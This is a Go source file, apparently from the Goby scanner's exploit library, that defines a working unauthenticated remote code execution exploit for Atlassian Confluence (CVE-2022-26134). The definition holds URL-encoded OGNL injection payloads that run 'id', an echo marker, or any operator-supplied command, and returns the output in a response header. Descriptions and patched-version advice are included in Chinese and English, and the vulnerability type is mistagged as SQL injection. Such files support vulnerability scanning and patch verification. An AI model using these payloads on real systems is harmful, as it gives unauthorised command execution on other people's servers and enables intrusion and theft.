-
Notifications
You must be signed in to change notification settings - Fork 197
/
Atlassian_Confluence_Webwork_OGNL_Inject_CVE_2022_26134.go
200 lines (197 loc) · 7.84 KB
/
Atlassian_Confluence_Webwork_OGNL_Inject_CVE_2022_26134.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
package exploits
import (
"git.gobies.org/goby/goscanner/goutils"
)
func init() {
expJson := `{
"Name": "Atlassian Confluence 远程代码执行漏洞(CVE-2022-26134)",
"Description": "<p><span style=\"font-size: 14px;\">2022年6月3日,Atlassian Confluence官方发布公告称Confluence Server 和Data Center存在未授权远程代码执行漏洞,该漏洞由于Confluence将URL翻译成namespace,</span><span style=\"font-size: 14px;\">导致攻击者可以在URL路径中构造OGNL表达式,造成表达式注入,从而远程代码执行。</span><span style=\"font-size: 14px;\">该漏洞被分配编号:CVE-2022-26134。</span><br></p>",
"Product": "Atlassian Confluence",
"Homepage": "https://fofa.so/",
"DisclosureDate": "2022-06-07",
"Author": "",
"FofaQuery": "product=\"Confluence\"",
"GobyQuery": "product=\"Confluence\"",
"Level": "3",
"Impact": "<p><span style=\"color: rgb(77, 77, 77); font-size: 16px;\">该漏洞由于Confluence将URL翻译成namespace,导致攻击者可以在URL路径中构造OGNL</span><a href=\"https://so.csdn.net/so/search?q=%E8%A1%A8%E8%BE%BE%E5%BC%8F&spm=1001.2101.3001.7020\" target=\"_blank\">表达式</a><span style=\"color: rgb(77, 77, 77); font-size: 16px;\">,造成表达式注入,从而远程代码执行。</span><br></p>",
"Recommendation": "<p>官方已经发布新版本,建议企业用户高优排查暴露在外网的服务并进行修复,安全版本包括:7.4.17、7.13.7、7.14.3、7.15.2、7.16.4、7.17.4、7.18.1<br></p>",
"References": [
"https://github.com/Nwqda/CVE-2022-26134"
],
"Is0day": false,
"HasExp": true,
"ExpParams": [
{
"name": "cmd",
"type": "input",
"value": "whoami",
"show": ""
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"OR",
{
"Request": {
"method": "GET",
"uri": "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/",
"follow_redirect": false,
"header": {
"Accept": "*/*"
},
"data_type": "text",
"data": ""
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "302",
"bz": ""
},
{
"type": "item",
"variable": "$head",
"operation": "contains",
"value": "uid=",
"bz": ""
}
]
},
"SetVariable": []
},
{
"Request": {
"method": "GET",
"uri": "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22echo 46r5vewrvwerwevrwevrwevrwevrwevrw%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/",
"follow_redirect": false,
"header": {
"Accept": "*/*"
},
"data_type": "text",
"data": ""
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "302",
"bz": ""
},
{
"type": "item",
"variable": "$head",
"operation": "contains",
"value": "46r5vewrvwerwevrwevrwevrwevrwevrw",
"bz": ""
}
]
},
"SetVariable": []
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22{{{cmd}}}%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/",
"follow_redirect": false,
"header": {},
"data_type": "text",
"data": ""
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "302",
"bz": ""
}
]
},
"SetVariable": [
"output|lastheader|regex|X-Cmd-Response: (.*?)\\n"
]
}
],
"Tags": [
"SQL 注⼊",
"代码执⾏"
],
"VulType": [
"SQL 注⼊",
"代码执⾏"
],
"CVEIDs": [
"CVE-2022-26134"
],
"CNNVD": [
""
],
"CNVD": [
""
],
"CVSSScore": "",
"Translation": {
"CN": {
"Name": "Atlassian Confluence 远程代码执行漏洞(CVE-2022-26134)",
"Product": "Atlassian Confluence",
"Description": "<p><span style=\"font-size: 14px;\">2022年6月3日,Atlassian Confluence官方发布公告称Confluence Server 和Data Center存在未授权远程代码执行漏洞,该漏洞由于Confluence将URL翻译成namespace,</span><span style=\"font-size: 14px;\">导致攻击者可以在URL路径中构造OGNL表达式,造成表达式注入,从而远程代码执行。</span><span style=\"font-size: 14px;\">该漏洞被分配编号:CVE-2022-26134。</span><br></p>",
"Recommendation": "<p>官方已经发布新版本,建议企业用户高优排查暴露在外网的服务并进行修复,安全版本包括:7.4.17、7.13.7、7.14.3、7.15.2、7.16.4、7.17.4、7.18.1<br></p>",
"Impact": "<p><span style=\"color: rgb(77, 77, 77); font-size: 16px;\">该漏洞由于Confluence将URL翻译成namespace,导致攻击者可以在URL路径中构造OGNL</span><a href=\"https://so.csdn.net/so/search?q=%E8%A1%A8%E8%BE%BE%E5%BC%8F&spm=1001.2101.3001.7020\" target=\"_blank\">表达式</a><span style=\"color: rgb(77, 77, 77); font-size: 16px;\">,造成表达式注入,从而远程代码执行。</span><br></p>",
"VulType": [
"SQL 注⼊",
"代码执⾏"
],
"Tags": [
"SQL 注⼊",
"代码执⾏"
]
},
"EN": {
"Name": "Atlassian Confluence Webwork OGNL Inject (CVE-2022-26134)",
"Product": "",
"Description": "<p><span style=\"font-size: 14px;\">Atlassian Confluence Server and Data Center have an unauthorized remote code execution vulnerability that translates urls to namespaces.</span><span style=\"font-size: 14px;\"> Causes an attacker to construct OGNL expressions in the URL path, causing expression injection, and thus remote code execution.</span><span style=\"font-size: 14px;\"> This vulnerability is assigned number: CVE-2022-26134.</span><br></p>",
"Recommendation": "<p><span style=\"font-size: 14px;\"> </span><span style=\"font-size: 14px;\"> </span></p><p style=\"text-align: justify;\">A new version has been released. Enterprise users are advised to troubleshoot and repair exposed services on the Internet. Security versions include 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4, and 7.18.1</p>",
"Impact": "<p><span style=\"font-size: 14px;\">Because Confluence translates URL into namespace, attacker can construct OGNL expression in URL path, resulting in expression injection, thus remote code execution.</span><br></p>",
"VulType": [
"SQL Injection",
"Code Execution"
],
"Tags": [
"SQL Injection",
"Code Execution"
]
}
},
"AttackSurfaces": {
"Application": null,
"Support": null,
"Service": null,
"System": null,
"Hardware": null
}
}`
ExpManager.AddExploit(NewExploit(
goutils.GetFileName(),
expJson,
nil,
nil,
))
}